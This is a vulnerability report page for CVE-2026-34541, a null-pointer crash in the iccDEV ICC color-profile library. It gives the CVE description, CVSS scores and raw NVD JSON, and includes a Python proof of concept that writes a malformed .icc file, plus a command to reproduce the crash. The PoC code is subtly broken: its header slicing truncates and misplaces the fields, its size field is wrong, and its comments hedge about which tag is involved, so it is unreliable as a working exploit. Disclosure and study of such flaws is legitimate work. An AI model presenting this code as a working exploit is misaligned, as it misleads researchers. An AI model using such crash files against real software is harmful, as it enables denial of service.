Security Vulnerability Report
中文
CVE-2026-34541 CVSS 6.2 MEDIUM

CVE-2026-34541

Published: 2026-03-31 22:16:22
Last Modified: 2026-04-20 13:54:00

Description

iccDEV provides a set of libraries and tools for working with ICC color management profiles. Prior to version 2.3.1.6, a crafted ICC profile can trigger Undefined Behavior (UB) via a null-pointer member call in CIccCombinedConnectionConditions::CIccCombinedConnectionConditions() (reported by UBSan as “member call on null pointer of type CIccTagSpectralViewingConditions”). The issue is reachable when running iccApplyNamedCmm with -PCC using a malformed .icc profile. This issue has been patched in version 2.3.1.6.

CVSS Details

CVSS Score
6.2
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:color:iccdev:*:*:*:*:*:*:*:* - VULNERABLE
iccDEV < 2.3.1.6

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import struct # PoC for CVE-2026-34541 # This script generates a malformed ICC profile intended to trigger # the null-pointer dereference in CIccCombinedConnectionConditions. def generate_malformed_icc(filename): # Minimal ICC profile header header = b'\x00' * 128 # Set valid signature and size to pass initial checks header = header[:0] + struct.pack('>I', 128) # Profile size header = header[:4] + struct.pack('>4s', b'acsp') # CMM type header = header[:36] + struct.pack('>4s', b'RGB ') # Data color space header = header[:40] + struct.pack('>4s', b'XYZ ') # PCS space # Tag table entry pointing to a crafted tag # Attempting to trigger the parsing of connection conditions # The specific tag type 'ms02' or similar might be involved in the path tag_signature = b'ms02' tag_offset = 128 tag_size = 4 tag_table = struct.pack('>4sII', tag_signature, tag_offset, tag_size) # Malformed tag data (null or invalid structure) # This data aims to cause the constructor to access a null pointer malformed_data = b'\x00' * 4 with open(filename, 'wb') as f: f.write(header) f.write(tag_table) f.write(malformed_data) if __name__ == "__main__": generate_malformed_icc("exploit_CVE-2026-34541.icc") print("Malformed ICC profile generated: exploit_CVE-2026-34541.icc") # reproduction command: iccApplyNamedCmm -PCC exploit_CVE-2026-34541.icc

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-34541", "sourceIdentifier": "[email protected]", "published": "2026-03-31T22:16:21.763", "lastModified": "2026-04-20T13:54:00.160", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "iccDEV provides a set of libraries and tools for working with ICC color management profiles. Prior to version 2.3.1.6, a crafted ICC profile can trigger Undefined Behavior (UB) via a null-pointer member call in CIccCombinedConnectionConditions::CIccCombinedConnectionConditions() (reported by UBSan as “member call on null pointer of type CIccTagSpectralViewingConditions”). The issue is reachable when running iccApplyNamedCmm with -PCC using a malformed .icc profile. This issue has been patched in version 2.3.1.6."}, {"lang": "es", "value": "iccDEV proporciona un conjunto de bibliotecas y herramientas para trabajar con perfiles ICC de gestión de color. Antes de la versión 2.3.1.6, un perfil ICC especialmente diseñado puede desencadenar Comportamiento Indefinido (UB) a través de una llamada a miembro con puntero nulo en CIccCombinedConnectionConditions::CIccCombinedConnectionConditions() (reportado por UBSan como 'llamada a miembro en puntero nulo de tipo CIccTagSpectralViewingConditions'). El problema es alcanzable al ejecutar iccApplyNamedCmm con -PCC usando un perfil .icc malformado. Este problema ha sido parcheado en la versión 2.3.1.6."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.2, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.5, "impactScore": 3.6}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-476"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:color:iccdev:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.3.1.6", "matchCriteriaId": "DE133F29-9592-4669-8B76-9F7C88EFE17D"}]}]}], "references": [{"url": "https://github.com/InternationalColorConsortium/iccDEV/issues/676", "source": "[email protected]", "tags": ["Issue Tracking", "Exploit"]}, {"url": "https://github.com/InternationalColorConsortium/iccDEV/pull/691", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/InternationalColorConsortium/iccDEV/security/advisories/GHSA-9p35-7hp5-4hg4", "source": "[email protected]", "tags": ["Patch", "Vendor Advisory"]}]}}